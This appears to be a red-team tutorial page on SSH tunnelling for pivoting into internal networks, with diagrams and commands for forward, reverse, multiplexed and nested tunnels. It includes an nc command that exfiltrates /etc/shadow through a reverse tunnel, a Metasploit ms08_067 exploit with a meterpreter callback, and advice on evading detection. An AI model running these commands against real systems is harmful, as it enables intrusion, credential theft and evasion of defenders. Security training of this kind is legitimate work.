Table of Contents
Philosophy
SSH can not only provide remote access to a system but can be leveraged to provide access to subnets not reachable from the outside. A common scenario would be a firewall exemption allowing a technician to SSH into a DMZ server. If we can gain access to this system, we could leverage this to pivot further into the network. These overall techniques can be very helpful for red teams wishing to minimize their connection footprint in order to evade detection. With some of the more advanced techniques, one could leverage a single tcp connection through a firewall and yet still be conducting various operations all of which are protected by the encrypted SSH tunnel.
Basic connection
The default port option (-p 22) is implied and can therefore be omitted unless requiring a different port number
operator: >RHP------->22 TARGET1
op@operator# ssh -p 22 user1@target1
Forward Tunnel with Local Listener
This scenario starts a listening port on the origin machine which will forward packets to target2. With this example we can SSH into target2 through target1 with the following syntax. This is a great example of pivoting deeper into a network.
operator: >RHP------->22 TARGET1
operator: >2000----------TARGET1---------->22 TARGET2
op@operator# ssh -L 2000:target2:22 user1@target1op@operator# ssh -p 2000 user2@127.0.0.1
2000
local port22
remote port
Reverse Tunnel with Remote Listener
A slightly tricky concept that becomes powerful once understood. Assume a scenario that target1 is accessible to us, yet sits behind a firewall that blocks all other inbound traffic. We could leverage this command to exfil data through our SSH tunnel by starting a listener within the network on target1. This can be paired with scp or ncat to "pull" data through the tunnel back to our attacker box.
operator: >RHP------->22 TARGET1
operator: 9000<----------TARGET1--<3000
op@operator# ssh -R 3000:127.0.0.1:9000 user1@target1op@operator# nc -nvlp 9000 > exfil_datauser1@target1# nc 127.0.0.1 3000 < /etc/shadow
127.0.0.1
host to be forwarded to (in this case our loopback addr on the attacker box)3000
remote port9000
local port (potentially our ncat listener for exfil)
Fork Tunnel
Two forward tunnels with a local listener over a single TCP connection to target1
This takes further advantage of SSH's ability to create multiple channels and multiplex tcp streams through a
single socket connection. This can be used to avoid blue team detection by ensuring we limit the amount of
concurrent outbound connections.
operator: >RHP--------->22 TARGET1
operator: >2000------------TARGET1------>22 TARGET2
operator: >2001------------TARGET1------>80 TARGET3
op@operator# ssh -L 2000:target2:22 -L 2001:target3:80 user1@target1op@operator# ssh -p 2000 user2@127.0.0.1op@operator# curl http://127.0.0.1:2001/target3_webpage
2000
local port for connection 122
remote port for connection 12001
local port for connection 280
remote port for connection 2
Bidirectional Tunnel with Exploit
Forward & Reverse Tunnels with Local & Reverse Listeners utilizing a single TCP connection to TARGET1 This further emphasizes the fact that we can create multiple channels as well as mix-and-match the direction of our tunnels. This particular scenario could be useful for throwing an MSF exploit through the tunnel and catch the provided callback on our reverse listener. Note that since we are leveraging an SSH tunnel for pivoting and not an existing meterpreter session, we need to start our own meterpreter listener and set DisablePayloadHandler to true. This is due to the fact that we need to tell the meterpreter callback to target1's IP and msf will attempt to bind to $(target1_IP):3000 which will fail.
operator: >RHP------------>22 TARGET1
operator: >2000---------------TARGET1-------->445 TARGET2
operator: <8080---------------TARGET1<3000--------TARGET2
op@operator# ssh -L 2000:target2:445 -R 3000:127.0.0.1:8080 user@target1msf> use exploit/multi/handlermsf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set LPORT 8080msf exploit(multi/handler) > set LHOST 127.0.0.1msf exploit(multi/handler) > run -jmsf> use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067) > set RHOST 127.0.0.1msf exploit(ms08_067) > set RPORT 2000msf exploit(ms08_067) > set payload windows/meterpreter/reverse_tcpmsf exploit(ms08_067) > set LHOST $(target1_IP)msf exploit(ms08_067) > set LPORT 3000msf exploit(ms08_067) > set DisablePayloadHandler truemsf exploit(ms08_067) > exploit
2000
local port for forward listener3000
remote port for reverse tunnel
Tunnelception
SSH tunnel to target3
through a tunnel to target2
through a tunnel to target1
A further abstracted concept to show that we are not limited by how deep we can penetrate and pivot through various
machines. We are limited only by network reachability, ACLs, and SSH credentials.
operator: >RHP----->22 TARGET1
operator: >2000--------TARGET1------>22 TARGET2
operator: >2001--------TARGET1----------TARGET2------->TARGET3
op@operator# ssh -L 2000:target2:22 user1@target1op@operator# ssh -L 2001:target3:22 -p2000 user2@127.0.0.1op@operator# ssh -p 2201 user3@127.0.0.1
2000
local port fortarget2
connection2001
local port fortarget3
connection
Add Session Tunnel
Add a Forward Tunnel in an active SSH session target1
in order to leverage the single socket connection for multiple channels
# must be a fresh new line so hit enter and try again if you don't drop into menuop@operator# ~Cssh> -L 2000:target2:22
2000
local port
Gotcha's
Of particular note is leveraging reverse tunnels. By default, SSH on linux will start the listener on 127.0.0.1 and will not be reachable on the LAN. Either /etc/ssh/sshd_config needs to have GATEWAYPORTS enabled or use the switch -gR to try to force a global listener. If all else fails, an SSH tunnel loop trick can be used to expose the port using the following syntax. Note that the second command is executed on target1 (assuming an IP address of 192.168.1.1).
op@operator# ssh -R 3000:127.0.0.1:22 user1@target1user1@target1# ssh -L 192.168.1.1:3000:127.0.0.1:3000 user1@target1
Another gotcha is the fact that the tunnel will only exist as long as the terminal or ssh session is still running. You can either use multiple tabs/windows for each hop or use the same window as you further dig into a network. However, if you would like to background a tunnel session and make it a little more persistent, then you can leverage the fork and "Do not execute a remote command" switches.
op@operator# ssh -NfL 2000:target2:22 user1@target1
Lastly, it is important to be congnizant of the fact that 1-1024 privileged ports will require root permissions to start a listener. This is easy to forget when one is trying to start a remote listener and you don't see the stderr message saying that it failed to bind to that port.
Edit this page on GitHub